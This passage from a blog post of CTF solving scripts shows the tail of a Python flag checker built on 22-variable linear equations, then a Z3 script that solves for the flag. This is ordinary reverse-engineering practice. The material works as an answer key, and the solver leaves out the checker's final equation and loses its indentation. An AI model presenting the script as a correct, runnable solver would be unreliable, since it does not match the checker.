* 2039 + ord(flag[9]) * 7269 + ord(flag[10]) * 9667 + ord(flag[11]) * 4158 + ord(flag[12]) * 2856 + ord(flag[13]) * 2851 + ord(flag[14]) * 9696 + ord(flag[15]) * 5986 + ord(flag[16]) * 6237 + ord(flag[17]) * 5845 + ord(flag[18]) * 5467 + ord(flag[19]) * 5227 + ord(flag[20]) * 4771 + ord(flag[21]) * 72 == 11486796 and ord(flag[0]) * 4618 + ord(flag[1]) * 8621 + ord(flag[2]) * 8144 + ord(flag[3]) * 7115 + ord(flag[4]) * 1577 + ord(flag[5]) * 8602 + ord(flag[6]) * 3886 + ord(flag[7]) * 3712 + ord(flag[8]) * 1258 + ord(flag[9]) * 7063 + ord(flag[10]) * 1872 + ord(flag[11]) * 9855 + ord(flag[12]) * 4167 + ord(flag[13]) * 7615 + ord(flag[14]) * 6298 + ord(flag[15]) * 7682 + ord(flag[16]) * 8795 + ord(flag[17]) * 3856 + ord(flag[18]) * 6217 + ord(flag[19]) * 5764 + ord(flag[20]) * 5076 + ord(flag[21]) * 93 == 11540145 and ord(flag[0]) * 7466 + ord(flag[1]) * 8442 + ord(flag[2]) * 4822 + ord(flag[3]) * 7639 + ord(flag[4]) * 2049 + ord(flag[5]) * 7311 + ord(flag[6]) * 5816 + ord(flag[7]) * 8433 + ord(flag[8]) * 5905 + ord(flag[9]) * 4838 + ord(flag[10]) * 1251 + ord(flag[11]) * 8184 + ord(flag[12]) * 6465 + ord(flag[13]) * 4634 + ord(flag[14]) * 5513 + ord(flag[15]) * 3160 + ord(flag[16]) * 6720 + ord(flag[17]) * 9205 + ord(flag[18]) * 6671 + ord(flag[19]) * 7716 + ord(flag[20]) * 1905 + ord(flag[21]) * 29 == 12227250 and ord(flag[0]) * 5926 + ord(flag[1]) * 9095 + ord(flag[2]) * 2048 + ord(flag[3]) * 4639 + ord(flag[4]) * 3035 + ord(flag[5]) * 9560 + ord(flag[6]) * 1591 + ord(flag[7]) * 2392 + ord(flag[8]) * 1812 + ord(flag[9]) * 6732 + ord(flag[10]) * 9454 + ord(flag[11]) * 8175 + ord(flag[12]) * 7346 + ord(flag[13]) * 6333 + ord(flag[14]) * 9812 + ord(flag[15]) * 2034 + ord(flag[16]) * 6634 + ord(flag[17]) * 1762 + ord(flag[18]) * 7058 + ord(flag[19]) * 3524 + ord(flag[20]) * 7462 + ord(flag[21]) * 11 == 11118093:
print('Congratulate!!!You are right!')
else:
print('What a pity...Please try again >__<')

使用Z3求解器解出最后的结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from z3 import *
flag = [Int("input[%d]"%i) for i in range(22)]
s = Solver()
s.add(flag[0] * 7072 + flag[1] * 2523 + flag[2] * 6714 + flag[3] * 8810 +flag[4] * 6796 + flag[5] * 2647 + flag[6] * 1347 + flag[7] * 1289 + flag[8] *8917 + flag[9] * 2304 + flag[10] * 5001 + flag[11] * 2882 + flag[12] * 7232 +flag[13] * 3192 + flag[14] * 9676 + flag[15] * 5436 + flag[16] * 4407 + flag[17]* 6269 + flag[18] * 9623 + flag[19] * 6230 + flag[20] * 6292 + flag[21] * 57 ==10743134)
s.add(flag[0] * 3492 + flag[1] * 1613 + flag[2] * 3234 + flag[3] * 5656 +flag[4] * 9182 + flag[5] * 4240 + flag[6] * 8808 + flag[7] * 9484 + flag[8] *4000 + flag[9] * 1475 + flag[10] * 2616 + flag[11] * 2766 + flag[12] * 6822 +flag[13] * 1068 + flag[14] * 9768 + flag[15] * 1420 + flag[16] * 4528 + flag[17]* 1031 + flag[18] * 8388 + flag[19] * 2029 + flag[20] * 2463 + flag[21] * 32 ==9663091)
s.add(flag[0] * 9661 + flag[1] * 1108 + flag[2] * 2229 + flag[3] * 1256 +flag[4] * 7747 + flag[5] * 5775 + flag[6] * 5211 + flag[7] * 2387 + flag[8] *1997 + flag[9] * 4045 + flag[10] * 7102 + flag[11] * 7853 + flag[12] * 5596 +flag[13] * 6952 + flag[14] * 8883 + flag[15] * 5125 + flag[16] * 9572 + flag[17]* 1149 + flag[18] * 7583 + flag[19] * 1075 + flag[20] * 9804 + flag[21] * 72 ==10521461)
s.add(flag[0] * 4314 + flag[1] * 3509 + flag[2] * 6200 + flag[3] * 5546 +flag[4] * 1705 + flag[5] * 9518 + flag[6] * 2975 + flag[7] * 2689 + flag[8] *2412 + flag[9] * 8659 + flag[10] * 5459 + flag[11] * 7572 + flag[12] * 3042 +flag[13] * 9701 + flag[14] * 4697 + flag[15] * 9863 + flag[16] * 1296 + flag[17]* 1278 + flag[18] * 5721 + flag[19] * 5116 + flag[20] * 4147 + flag[21] * 52 ==9714028)
s.add(flag[0] * 2310 + flag[1] * 1379 + flag[2] * 5900 + flag[3] * 4876 +flag[4] * 5329 + flag[5] * 6485 + flag[6] * 6610 + flag[7] * 7179 + flag[8] *7897 + flag[9] * 1094 + flag[10] * 4825 + flag[11] * 8101 + flag[12] * 9519 +flag[13] * 3048 + flag[14] * 3168 + flag[15] * 2775 + flag[16] * 4366 + flag[17]* 4066 + flag[18] * 7490 + flag[19] * 5533 + flag[20] * 2139 + flag[21] * 87 ==10030960)
s.add(flag[0] * 1549 + flag[1] * 8554 + flag[2] * 6510 + flag[3] * 6559 +flag[4] * 5570 + flag[5] * 1003 + flag[6] * 8562 + flag[7] * 6793 + flag[8] *3509 + flag[9] * 4965 + flag[10] * 6111 + flag[11] * 1229 + flag[12] * 5654 +flag[13] * 2204 + flag[14] * 2217 + flag[15] * 5039 + flag[16] * 5657 + flag[17]* 9426 + flag[18] * 7604 + flag[19] * 5883 + flag[20] * 5285 + flag[21] * 17 ==10946682)
s.add(flag[0] * 2678 + flag[1] * 4369 + flag[2] * 7509 + flag[3] * 1564 +flag[4] * 7777 + flag[5] * 2271 + flag[6] * 9696 + flag[7] * 3874 + flag[8] *2212 + flag[9] * 6764 + flag[10] * 5727 + flag[11] * 5971 + flag[12] * 5876 +flag[13] * 9959 + flag[14] * 4604 + flag[15] * 8461 + flag[16] * 2350 + flag[17]* 3564 + flag[18] * 1831 + flag[19] * 6088 + flag[20] * 4575 + flag[21] * 9 ==10286414)
s.add(flag[0] * 8916 + flag[1] * 8647 + flag[2] * 4522 + flag[3] * 3579 +flag[4] * 5319 + flag[5] * 9124 + flag[6] * 9535 + flag[7] * 5125 + flag[8] *3235 + flag[9] * 3246 + flag[10] * 3378 + flag[11] * 9221 + flag[12] * 1875 +flag[13] * 1008 + flag[14] * 6262 + flag[15] * 1524 + flag[16] * 8851 + flag[17]* 4367 + flag[18] * 7628 + flag[19] * 9404 + flag[20] * 2065 + flag[21] * 9 ==11809388)
s.add(flag[0] * 9781 + flag[1] * 9174 + flag[2] * 3771 + flag[3] * 6972 +flag[4] * 6425 + flag[5] * 7631 + flag[6] * 8864 + flag[7] * 9117 + flag[8] *4328 + flag[9] * 3919 + flag[10] * 6517 + flag[11] * 7165 + flag[12] * 6895 +flag[13] * 3609 + flag[14] * 3878 + flag[15] * 1593 + flag[16] * 9098 + flag[17]* 6432 + flag[18] * 2584 + flag[19] * 8403 + flag[20] * 4029 + flag[21] * 30 ==13060508)
s.add(flag[0] * 2511 + flag[1] * 8583 + flag[2] * 2428 + flag[3] * 9439 +flag[4] * 3662 + flag[5] * 3278 + flag[6] * 8305 + flag[7] * 1100 + flag[8] *7972 + flag[9] * 8510 + flag[10] * 8552 + flag[11] * 9993 + flag[12] * 6855 +flag[13] * 1702 + flag[14] * 1640 + flag[15] * 3787 + flag[16] * 8161 + flag[17]* 2110 + flag[18] * 5320 + flag[19] * 3313 + flag[20] * 9286 + flag[21] * 74 ==10568195)
s.add(flag[0] * 4974 + flag[1] * 4445 + flag[2] * 7368 + flag[3] * 9132 +flag[4] * 5894 + flag[5] * 7822 + flag[6] * 7923 + flag[7] * 6822 + flag[8] *2698 + flag[9] * 3643 + flag[10] * 8392 + flag[11] * 4126 + flag[12] * 1941 +flag[13] * 6641 + flag[14] * 2949 + flag[15] * 7405 + flag[16] * 9980 + flag[17]* 6349 + flag[18] * 3328 + flag[19] * 8766 + flag[20] * 9508 + flag[21] * 65 ==12514783)
s.add(flag[0] * 4127 + flag[1] * 4703 + flag[2] * 6409 + flag[3] * 4907 +flag[4] * 5230 + flag[5] * 3371 + flag[6] * 5666 + flag[7] * 3194 + flag[8] *5448 + flag[9] * 8415 + flag[10] * 4525 + flag[11] * 4152 + flag[12] * 1467 +flag[13] * 5254 + flag[14] * 2256 + flag[15] * 1643 + flag[16] * 9113 + flag[17]* 8805 + flag[18] * 4315 + flag[19] * 8371 + flag[20] * 1919 + flag[21] * 2 ==10299950)
s.add(flag[0] * 6245 + flag[1] * 8783 + flag[2] * 6059 + flag[3] * 9375 +flag[4] * 9253 + flag[5] * 1974 + flag[6] * 8867 + flag[7] * 6423 + flag[8] *2577 + flag[9] * 6613 + flag[10] * 2040 + flag[11] * 2209 + flag[12] * 4147 +flag[13] * 7151 + flag[14] * 1011 + flag[15] * 9446 + flag[16] * 4362 + flag[17]* 3073 + flag[18] * 3006 + flag[19] * 5499 + flag[20] * 8850 + flag[21] * 23 ==11180727)
s.add(flag[0] * 1907 + flag[1] * 9038 + flag[2] * 3932 + flag[3] * 7054 +flag[4] * 1135 + flag[5] * 5095 + flag[6] * 6962 + flag[7] * 6481 + flag[8] *7049 + flag[9] * 5995 + flag[10] * 6233 + flag[11] * 1321 + flag[12] * 4455 +flag[13] * 8181 + flag[14] * 5757 + flag[15] * 6953 + flag[16] * 3167 + flag[17]* 5508 + flag[18] * 4602 + flag[19] * 1420 + flag[20] * 3075 + flag[21] * 25 ==10167536)
s.add(flag[0] * 1489 + flag[1] * 9236 + flag[2] * 7398 + flag[3] * 4088 +flag[4] * 4131 + flag[5] * 1657 + flag[6] * 9068 + flag[7] * 6420 + flag[8] *3970 + flag[9] * 3265 + flag[10] * 5343 + flag[11] * 5386 + flag[12] * 2583 +flag[13] * 2813 + flag[14] * 7181 + flag[15] * 9116 + flag[16] * 4836 + flag[17]* 6917 + flag[18] * 1123 + flag[19] * 7276 + flag[20] * 2257 + flag[21] * 65 ==10202212)
s.add(flag[0] * 2097 + flag[1] * 1253 + flag[2] * 1469 + flag[3] * 2731 +flag[4] * 9565 + flag[5] * 9185 + flag[6] * 1095 + flag[7] * 8666 + flag[8] *2919 + flag[9] * 7962 + flag[10] * 1497 + flag[11] * 6642 + flag[12] * 4108 +flag[13] * 6892 + flag[14] * 7161 + flag[15] * 7552 + flag[16] * 5666 + flag[17]* 4060 + flag[18] * 7799 + flag[19] * 5080 + flag[20] * 8516 + flag[21] * 43 ==10435786)
s.add(flag[0] * 1461 + flag[1] * 1676 + flag[2] * 4755 + flag[3] * 7982 +flag[4] * 3860 + flag[5] * 1067 + flag[6] * 6715 + flag[7] * 4019 + flag[8] *4983 + flag[9] * 2031 + flag[10] * 1173 + flag[11] * 2241 + flag[12] * 2594 +flag[13] * 8672 + flag[14] * 4810 + flag[15] * 7963 + flag[16] * 7749 + flag[17]* 5730 + flag[18] * 9855 + flag[19] * 5858 + flag[20] * 2349 + flag[21] * 71 ==9526385)
s.add(flag[0] * 9025 + flag[1] * 9536 + flag[2] * 1515 + flag[3] * 8177 +flag[4] * 6109 + flag[5] * 4856 + flag[6] * 6692 + flag[7] * 4929 + flag[8] *1010 + flag[9] * 3995 + flag[10] * 3511 + flag[11] * 5910 + flag[12] * 3501 +flag[13] * 3731 + flag[14] * 6601 + flag[15] * 6200 + flag[16] * 8177 + flag[17]* 5488 + flag[18] * 5957 + flag[19] * 9661 + flag[20] * 4956 + flag[21] * 48 ==11822714)
s.add(flag[0] * 4462 + flag[1] * 1940 + flag[2] * 5956 + flag[3] * 4965 +flag[4] * 9268 + flag[5] * 9627 + flag[6] * 3564 + flag[7] * 5417 + flag[8] *2039 + flag[9] * 7269 + flag[10] * 9667 + flag[11] * 4158 + flag[12] * 2856 +flag[13] * 2851 + flag[14] * 9696 + flag[15] * 5986 + flag[16] * 6237 + flag[17]* 5845 + flag[18] * 5467 + flag[19] * 5227 + flag[20] * 4771 + flag[21] * 72 ==11486796)
s.add(flag[0] * 4618 + flag[1] * 8621 + flag[2] * 8144 + flag[3] * 7115 +flag[4] * 1577 + flag[5] * 8602 + flag[6] * 3886 + flag[7] * 3712 + flag[8] *1258 + flag[9] * 7063 + flag[10] * 1872 + flag[11] * 9855 + flag[12] * 4167 +flag[13] * 7615 + flag[14] * 6298 + flag[15] * 7682 + flag[16] * 8795 + flag[17]* 3856 + flag[18] * 6217 + flag[19] * 5764 + flag[20] * 5076 + flag[21] * 93 ==11540145)
s.add(flag[0] * 7466 + flag[1] * 8442 + flag[2] * 4822 + flag[3] * 7639 +flag[4] * 2049 + flag[5] * 7311 + flag[6] * 5816 + flag[7] * 8433 + flag[8] *5905 + flag[9] * 4838 + flag[10] * 1251 + flag[11] * 8184 + flag[12] * 6465 +flag[13] * 4634 + flag[14] * 5513 + flag[15] * 3160 + flag[16] * 6720 + flag[17]* 9205 + flag[18] * 6671 + flag[19] * 7716 + flag[20] * 1905 + flag[21] * 29 ==12227250)

if s.check() == sat:
m = s.model()
for i in range(22):
print(chr(int(str(m[flag[i]]))),end = '')

  • Title: 脚本整理Ⅰ
  • Author: Juana_2u
  • Created at : 2024-03-17 18:35:24
  • Updated at : 2024-03-17 18:37:06
  • Link: https://juana-2u.github.io/2024/03/17/脚本整理Ⅰ/
  • License: This work is licensed under CC BY-NC-SA 4.0.